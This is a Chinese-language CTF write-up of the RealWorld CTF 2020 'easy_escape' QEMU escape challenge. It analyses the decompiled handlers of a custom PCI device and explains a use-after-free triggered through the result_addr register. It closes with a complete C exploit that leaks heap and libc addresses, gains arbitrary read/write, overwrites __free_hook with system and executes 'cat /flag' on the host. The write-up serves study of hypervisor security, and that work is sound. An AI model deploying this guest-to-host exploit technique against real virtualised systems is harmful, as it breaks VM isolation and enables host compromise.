easy_escape

分析

首先看一下启动程序run.sh

1
2
3
4
5
6
7
8
9
10
#!/bin/sh
#Using to build docker environment
#export LD_LIBRARY_PATH=/lib/x86_64-linux-gnu/pulseaudio
./qemu-system-x86_64 -L ./dependency -kernel ./vmlinuz-5.4.0-58-generic -initrd ./rootfs.cpio -cpu kvm64,+smep \\
-m 64M \\
-monitor none \\
-device fun \\
-append "root=/dev/ram rw console=ttyS0 oops=panic panic=1 quiet kaslr" \\
-nographic

漏洞肯定位于fun设备中,用ida分析一下qemu-system-x86_64,从fun_class_init函数中我们可以得到vendor_id,class_id。在qemu中查看一下resource,看到只有一个内存空间

1
2
3
4
5
6
7
8
9
10
11
/ # lspci
00:01.0 Class 0601: 8086:7000
00:04.0 Class 00ff: cafe:babe
00:00.0 Class 0600: 8086:1237
00:01.3 Class 0680: 8086:7113
00:03.0 Class 0200: 8086:100e
00:01.1 Class 0101: 8086:7010
00:02.0 Class 0300: 1234:1111
/ # cat /sys/devices/pci0000\\:00/0000\\:00\\:04.0/resource
0x00000000febf1000 0x00000000febf1fff 0x0000000000040200

这里我们直接进入mmio_read/write函数进行分析,先来看一下mmio_write函数。其中FunState的结构如下

1
2
3
4
5
6
7
8
9
10
11
00000000 FunState        struc ; (sizeof=0xA00, align=0x10, copyof_4860)
00000000 pdev PCIDevice_0 ?
000008F0 mmio MemoryRegion_0 ?
000009E0 addr dd ?
000009E4 size dd ?
000009E8 idx dd ?
000009EC result_addr dd ?
000009F0 req dq ? ; offset
000009F8 as dq ? ; offset
00000A00 FunState ends

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
void __cdecl fun_mmio_write(FunState *opaque, hwaddr cmd, uint32_t_0 val)
{
switch ( cmd )
{
case 0uLL:
opaque->size = val;
break;
case 4uLL:
opaque->addr = val;
break;
case 8uLL:
opaque->result_addr = val;
break;
case 0xCuLL:
opaque->idx = val;
break;
case 0x10uLL:
if ( opaque->req )
handle_data_read(opaque, opaque->req, opaque->idx);
break;
case 0x14uLL:
if ( !opaque->req )
opaque->req = create_req(opaque->size);
break;
case 0x18uLL:
if ( opaque->req )
delete_req(opaque->req);
opaque->req = 0LL;
opaque->size = 0;
break;
default:
return;
}
}

函数根据cmdfun结构体中的不同的成员变量赋值,其中当cmd=0x14的时候会为req创建相应的结构体,我们看一下这个函数

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
FunReq *__cdecl create_req(uint32_t_0 size)
{
uint32_t_0 i; // [rsp+10h] [rbp-10h]
uint32_t_0 t; // [rsp+14h] [rbp-Ch]
FunReq *req; // [rsp+18h] [rbp-8h]

if ( size > 0x1FBFF )
return 0LL;
req = (FunReq *)malloc(0x400uLL);
memset(req, 0, sizeof(FunReq));
req->total_size = size;
t = (req->total_size >> 10) + 1;
for ( i = 0; i < t; ++i )
req->list[i] = (char *)malloc(0x400uLL);
return req;
}

即按照opaque->size的值为req的成员变量total_size赋值,req->list中堆块指针数量由(size>>10) + 1决定,其中最多为127个。当cmd0x18的时候会调用delete_req函数,

1
2
3
4
5
6
7
8
9
10
11
void __cdecl delete_req(FunReq *req)
{
uint32_t_0 i; // [rsp+18h] [rbp-8h]
uint32_t_0 t; // [rsp+1Ch] [rbp-4h]

t = (req->total_size >> 10) + 1;
for ( i = 0; i < t; ++i )
free(req->list[i]);
free(req);
}

根据req->total_size的值,依次释放req->list[i]指向的内存空间。当cmd=0x10req!=NULL的时候会调用handle_data_read函数

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
void __cdecl handle_data_read(FunState *fun, FunReq *req, uint32_t_0 val)
{
if ( req->total_size && val <= 0x7E && val < (req->total_size >> 10) + 1 )
{
put_result(fun, 1u);
dma_memory_read_9(fun->as, (val << 10) + fun->addr, req->list[val], 0x400uLL);
put_result(fun, 2u);
}
}
void __cdecl put_result(FunState *fun, uint32_t_0 val)
{
uint32_t_0 result; // [rsp+14h] [rbp-Ch] BYREF
unsigned __int64 v3; // [rsp+18h] [rbp-8h]

v3 = __readfsqword(0x28u);
result = val;
dma_memory_write_9(fun->as, fun->result_addr, &result, 4uLL);
}
int __cdecl dma_memory_write_9(AddressSpace_0 *as, dma_addr_t addr, const void *buf, dma_addr_t len)
{
return dma_memory_rw_24(as, addr, (void *)buf, len, DMA_DIRECTION_FROM_DEVICE);
}
int __cdecl dma_memory_read_9(AddressSpace_0 *as, dma_addr_t addr, void *buf, dma_addr_t len)
{
return dma_memory_rw_24(as, addr, buf, len, DMA_DIRECTION_TO_DEVICE);
}

这里首先调用put_result将固定的值写入到fun->result_addr指向的物理内存中,然后调用dma_memory_read_9函数将fun->addr+(val << 10)指向的物理内存中的内容写入到req->list[index]指向的内存空间中。即写入数据。

再来看一下mmio_read函数

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
uint32_t_0 __cdecl fun_mmio_read(FunState *opaque, hwaddr cmd)
{
uint32_t_0 val; // [rsp+20h] [rbp-10h]

val = -1;
switch ( cmd )
{
case 0uLL:
val = opaque->size;
break;
case 4uLL:
val = opaque->addr;
break;
case 8uLL:
val = opaque->result_addr;
break;
case 0xCuLL:
val = opaque->idx;
break;
case 0x10uLL:
if ( opaque->req )
handle_data_write(opaque, opaque->req, opaque->idx);
break;
default:
return val;
}
return val;
}

可以看到是根据cmd的值来决定返回的FunState中的成员变量的值,当cmd=0x10的时候如果req!=NUll那么就会调用handle_data_write函数看一下该函数

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
void __cdecl handle_data_write(FunState *fun, FunReq *req, uint32_t_0 idx)
{
if ( req->total_size && idx <= 0x7E && idx < (req->total_size >> 10) + 1 )
{
put_result(fun, 1u);
dma_memory_write_9(fun->as, (idx << 10) + fun->addr, req->list[idx], 0x400uLL);
put_result(fun, 2u);
}
}
void __cdecl put_result(FunState *fun, uint32_t_0 val)
{
uint32_t_0 result; // [rsp+14h] [rbp-Ch] BYREF
unsigned __int64 v3; // [rsp+18h] [rbp-8h]

v3 = __readfsqword(0x28u);
result = val;
dma_memory_write_9(fun->as, fun->result_addr, &result, 4uLL);
}
int __cdecl dma_memory_write_9(AddressSpace_0 *as, dma_addr_t addr, const void *buf, dma_addr_t len)
{
return dma_memory_rw_24(as, addr, (void *)buf, len, DMA_DIRECTION_FROM_DEVICE);
}

函数的作用是首先调用put_result将固定的值写入到fun->result_addr指向的物理内存中,然后调用dma_memory_write_9函数将req->list[index]指向的内存空间中的内容写入到fun->addr + (index << 10)指向的物理内存中,即读取req->list[index]中的数据。与handle_data_read函数类似。

漏洞位于put_result函数中,该函数最终调用的是fun_mmio_write()函数,其中参数就是我们设置的result_addr,也就是说如果我们将result_addr设置为mmio_address+0x18,那么函数最终就是调用fun_mmio_write(0x18),也就是会调用delete_req函数。那么之后的dma_memory_read/write函数就会读写已经释放的堆块,造成一个UAF漏洞。

2020%20RealWorld%20CTF%20%E9%83%A8%E5%88%86PWN%20WriteUp%20babc3e7ed9524894887ff486dbc28960/Untitled.png

利用

这里如果我们首先申请多个req0x400大小的堆块,那么在delete req的时候,这些堆块就会进入tcache中,因此这里如果我们读取数据的话就会泄漏出heap地址和tcache entry的地址,根据heap地址我们可以计算得到req的堆地址。需要注意的是,在req释放之后前0x10字节会被覆写,因此我们需要将index设置为1/2进行读取。

得到req地址之后我们可以将tcache->fd,bk改写为req address,tcache entry,那么在之后进行create req的时候req->list[2]=req,这样我们就可以做到任意地址读写。

任意地址读写之后就可以读取tcache entry中的残留数据,泄漏出proc address,之后读取puts got泄漏得到libc基址,覆写free_hook-0x10"cat /falg"+system_address。那么在释放的时候就会输出flag

exp

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
#include <assert.h>
#include <fcntl.h>
#include <inttypes.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <sys/mman.h>
#include <sys/types.h>
#include <unistd.h>
#include<sys/io.h>

#define PAGE_SHIFT 12
#define PAGE_SIZE (1 << PAGE_SHIFT)
#define PFN_PRESENT (1ull << 63)
#define PFN_PFN ((1ull << 55) - 1)

unsigned char* mmio_mem;
uint32_t mmio_addr = 0xfebf1000;
uint32_t mmio_size = 0x1000;
uint64_t elf_puts_got = 0x100dd38;
uint64_t libc_puts_offset = 0x875a0;
uint64_t libc_system_offset = 0x55410;
uint64_t libc_free_hook_offset = 0x1eeb28;

uint32_t page_offset(uint32_t addr)
{
return addr & ((1<< PAGE_SHIFT) - 1);
}

uint64_t gva_to_gfn(void*addr)
{

uint8_t*ptr;
uint64_t ptr_mem;

int fd = open("/proc/self/pagemap", O_RDONLY);
if(fd < 0) {
perror("open");
exit(1);
}

uint64_t pme, gfn;
size_t offset;
offset = ((uintptr_t)addr >> 9) & ~7; // *8
lseek(fd, offset, SEEK_SET);
read(fd, &pme, 8);
if(!(pme & PFN_PRESENT))
return-1;
gfn = pme & PFN_PFN;
return gfn;
}

uint64_t gva_to_gpa(void*addr)
{
uint64_t gfn = gva_to_gfn(addr);
assert(gfn != -1);
return(gfn << PAGE_SHIFT) | page_offset((uint64_t)addr);
}

void die(const char* msg)
{
perror(msg);
exit(-1);
}

void* mem_map( const char* dev, size_t offset, size_t size )
{
int fd = open( dev, O_RDWR | O_SYNC );
if ( fd == -1 ) {
return 0;
}

void* result = mmap( NULL, size, PROT_READ | PROT_WRITE, MAP_SHARED, fd, offset );

if ( !result ) {
return 0;
}

close( fd );
return result;
}

void mmio_write(uint64_t addr, uint64_t value, int choice)
{
if (choice == 0){
*((uint8_t*)(mmio_mem + addr)) = value;
}
else if (choice == 1){
*((uint16_t*)(mmio_mem + addr)) = value;
}
else if (choice == 2){
*((uint32_t*)(mmio_mem + addr)) = value;
}
else if (choice == 3){
*((uint64_t*)(mmio_mem + addr)) = value;
}
}

uint64_t mmio_read(uint32_t addr, int choice)
{
if(choice == 0){
return *((uint8_t*)(mmio_mem + addr));
}
else if(choice == 1){
return *((uint16_t*)(mmio_mem + addr));
}
else if(choice == 2){
return *((uint32_t*)(mmio_mem + addr));
}
else if(choice == 3){
return *((uint64_t*)(mmio_mem + addr));
}
}

void set_size(uint32_t size){
mmio_write(0, size << 10, 2);
}

void set_addr(uint32_t addr){
mmio_write(4, addr, 2);
}

void set_result_addr(uint32_t addr){
mmio_write(8, addr, 2);
}

void set_idx(uint32_t idx){
mmio_write(0xc, idx, 2);
}

void handle_data_read(){
mmio_write(0x10, 0, 2);
}

void create_req(uint32_t size){
set_size(size);
mmio_write(0x14, 0, 2);
}

void delete_req(){
mmio_write(0x18, 0, 2);
}

void handle_data_write(){
mmio_read(0x10, 2);
}

int main(){
system( "mknod -m 660 /dev/mem c 1 1" );

mmio_mem = mem_map("/dev/mem", mmio_addr, mmio_size);
if (!mmio_mem){
die("mmio or vga mmap failed");
}
char* buf = mmap(NULL, 0x1000, PROT_READ|PROT_WRITE, MAP_SHARED|MAP_ANONYMOUS, -1, 0);
if (!buf){
die("mmap failed\\n");
}
memset(buf, 0, 0x1000);
uint64_t physical_buf_address = gva_to_gpa(buf);
create_req(2);
set_result_addr(mmio_addr+0x18);
set_idx(2);
set_addr(physical_buf_address);
// handle_data_write为读取数据,handle_data_read为写入数据
handle_data_write();
uint64_t req_address = *(uint64_t *)(buf + 0x800) - 0x410*2;
uint64_t tcache_entry_address = *(uint64_t *)(buf + 0x808);
printf("req: %p\\ntcache entry: %p\\n", req_address, tcache_entry_address);

memset(buf, 0, 0x1000);
create_req(2);
set_result_addr(mmio_addr + 0x18);
set_idx(1);
set_addr(physical_buf_address);

*(uint64_t*)(buf + 0x400) = req_address;
*(uint64_t*)(buf + 0x408) = tcache_entry_address;
handle_data_read();
printf("tcache chain has been changed\\n");

memset(buf, 0, 0x1000);
// req->list[2]=req
create_req(2);
set_result_addr(mmio_addr);
set_idx(2);
set_addr(physical_buf_address);

*(uint64_t*)(buf + 0x800) = 0x800;
*(uint64_t*)(buf + 0x808) = tcache_entry_address + 0x788;
*(uint64_t*)(buf + 0x810) = 0;
*(uint64_t*)(buf + 0x818) = req_address;
// 覆写req->list[0]=tcache_entry+offset
handle_data_read();
set_idx(0);
// 读取tcache entry中残留数据泄漏得到proc base
handle_data_write();
uint64_t proc_address = *(uint64_t *)buf - 0xa700a0;
printf("proc base: %p\\n", proc_address);

memset(buf, 0, 0x1000);
// 设置req->list[0]为puts got
set_idx(2);
*(uint64_t*)(buf + 0x800) = 0x800;
*(uint64_t*)(buf + 0x808) = proc_address + elf_puts_got;
*(uint64_t*)(buf + 0x810) = 0;
*(uint64_t*)(buf + 0x818) = req_address;

handle_data_read();
set_idx(0);
handle_data_write();
uint64_t libc_address = *(uint64_t*)buf - libc_puts_offset;
printf("libc address: %p\\n", libc_address);

memset(buf, 0, 0x1000);
// 覆写req->list[0] 为free_hook-0x10
set_idx(2);
*(uint64_t*)(buf + 0x800) = 0x800;
*(uint64_t*)(buf + 0x808) = libc_address + libc_free_hook_offset - 0x10;
*(uint64_t*)(buf + 0x810) = 0;
*(uint64_t*)(buf + 0x818) = req_address;

getchar();

handle_data_read();
set_idx(0);
memset(buf, 0, 0x1000);
strcpy(buf, "cat /flag");
*(uint64_t*)(buf + 0x10) = libc_system_offset + libc_address;
handle_data_read();

delete_req();

}

参考

RealWorld CTF 2020 EasyEscape题解

Real World CTF 3rd - Esay Escape